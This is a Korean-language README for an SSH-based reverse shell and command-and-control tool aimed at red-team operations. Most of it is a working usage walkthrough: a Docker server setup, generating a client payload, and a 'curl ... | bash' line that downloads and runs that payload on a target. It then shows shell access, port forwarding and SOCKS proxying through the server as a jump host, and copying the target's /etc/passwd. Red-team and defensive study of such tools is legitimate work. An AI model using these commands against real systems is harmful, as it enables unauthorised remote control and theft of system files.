
SSH 기반 리버스 셸 관리 도구로, 기본 SCP/SFTP 지원, 다중 전송 프로토콜, Windows DLL 생성, 그리고 레드팀 운영을 위한 파일리스 실행을 제공합니다.

(아트 크레딧: https://www.instagram.com/smart.hedgehog.art/)
SSH를 리버스 셸에 사용하고 싶으신가요? 이제 가능합니다.
SCP 및 SFTP 구현http, websockets, tls 등과 같은 다양한 네트워크 전송 +----------------+ +---------+
| | | |
| | +---------+ RSSH |
| Reverse | | | Client |
| SSH server | | | |
| | | +---------+
+---------+ | | |
| | | | |
| Human | SSH | | SSH | +---------+
| Client +-------->+ <-----------------+ |
| | | | | | RSSH |
+---------+ | | | | Client |
| | | | |
| | | +---------+
| | |
| | |
+----------------+ | +---------+
| | |
| | RSSH |
+---------+ Client |
| |
+---------+
https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1
컨테이너 릴리스를 권장합니다. 올바른 버전의 golang과 Windows용 크로스 컴파일러가 포함되어 있기 때문입니다.
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="<ssh_key>" -v ./data:/data reversessh/reverse_ssh
또는 docker compose:
services:
reversessh:
image: reversessh/reverse_ssh
ports:
- "3232:2222"
environment:
- EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232
- RSSH_CONSOLE_LABEL=c2.label
- RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL
- SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}
volumes:
- ./data:/data
# Connect to the server console
ssh your.rssh.server.internal -p 3232
# List all server console commands
catcher$ help
# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25
# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash
# then we can then list what clients are connected
catcher$ ls
Targets
+------------------------------------------+-----------------------------------+
| IDs | Version |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 | |
| dummy.machine | |
| 192.168.0.11:34542 | |
+------------------------------------------+-----------------------------------+
모든 명령은 도움말을 제공하기 위한 -h 플래그를 지원합니다.
그런 다음 일반적인 ssh 명령이 작동하며, rssh 서버를 점프 호스트로 지정하기만 하면 됩니다.
# Connect to full shell
ssh -J your.rssh.server.internal:3232 dummy.machine
# Start remote forward
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine
# Start dynamic forward
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine
# SCP
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
더 완전한 문서는 docs 폴더에서 확인할 수 있습니다. 여기에는 치트시트, 문제 해결 방법 등이 포함되어 있습니다.
RSSH 프로젝트에 기부하여 이 모든 작업을 가능하게 해주신 다음 분들께 큰 감사를 드립니다!
chikamobina님의 아낌없는 기부에 감사드립니다!
wrighterase (ctrlzero)님의 기여와 기부에 감사드립니다!
Carapace는 매우 뛰어난 인재 팀을 보유한 뉴질랜드 기반 보안 컨설팅 회사입니다!

RSSH 프로젝트에 환원하는 가장 쉬운 방법은 버그를 찾고, 기능 요청을 열고, 유용하게 쓸 것 같은 사람들에게 입소문을 내는 것입니다!
하지만 저에게 직접 무언가를 환원하고 싶으시다면, GitHub Sponsors를 통하거나 다음 지갑 중 하나로 보내주시면 됩니다:
Monero (XMR):
8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND
Bitcoin (BTC):
bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr